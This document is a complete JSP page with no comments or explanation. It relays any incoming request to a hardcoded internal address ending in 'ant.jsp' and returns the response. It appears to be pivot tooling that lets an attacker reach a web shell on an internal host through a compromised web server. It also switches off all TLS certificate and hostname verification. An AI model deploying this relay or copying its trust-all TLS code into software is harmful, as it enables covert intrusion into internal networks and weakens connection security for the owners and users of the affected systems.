<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.net.ssl.*" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.DataInputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.OutputStream" %>
<%@ page import="java.net.HttpURLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.security.KeyManagementException" %>
<%@ page import="java.security.NoSuchAlgorithmException" %>
<%@ page import="java.security.cert.CertificateException" %>
<%@ page import="java.security.cert.X509Certificate" %>
<%!
  public static void ignoreSsl() throws Exception {
        HostnameVerifier hv = new HostnameVerifier() {
            public boolean verify(String urlHostName, SSLSession session) {
                return true;
            }
        };
        trustAllHttpsCertificates();
        HttpsURLConnection.setDefaultHostnameVerifier(hv);
    }
    private static void trustAllHttpsCertificates() throws Exception {
        TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {
            public X509Certificate[] getAcceptedIssuers() {
                return null;
            }
            @Override
            public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                // Not implemented
            }
            @Override
            public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                // Not implemented
            }
        } };
        try {
            SSLContext sc = SSLContext.getInstance("TLS");
            sc.init(null, trustAllCerts, new java.security.SecureRandom());
            HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
        } catch (KeyManagementException e) {
            e.printStackTrace();
        } catch (NoSuchAlgorithmException e) {
            e.printStackTrace();
        }
    }
%>
<%
        String target = "http://172.24.0.2:8080/ant.jsp";
        URL url = new URL(target);
        if ("https".equalsIgnoreCase(url.getProtocol())) {
            ignoreSsl();
        }
        HttpURLConnection conn = (HttpURLConnection)url.openConnection();
        StringBuilder sb = new StringBuilder();
        conn.setRequestMethod(request.getMethod());
        conn.setConnectTimeout(30000);
        conn.setDoOutput(true);
        conn.setDoInput(true);
        conn.setInstanceFollowRedirects(false);
        conn.connect();
        ByteArrayOutputStream baos=new ByteArrayOutputStream();
        OutputStream out2 = conn.getOutputStream();
        DataInputStream in=new DataInputStream(request.getInputStream());
        byte[] buf = new byte[1024];
        int len = 0;
        while ((len = in.read(buf)) != -1) {
            baos.write(buf, 0, len);
        }
        baos.flush();
        baos.writeTo(out2);
        baos.close();
        InputStream inputStream = conn.getInputStream();
        OutputStream out3=response.getOutputStream();
        int len2 = 0;
        while ((len2 = inputStream.read(buf)) != -1) {
            out3.write(buf, 0, len2);
        }
        out3.flush();
        out3.close();
%>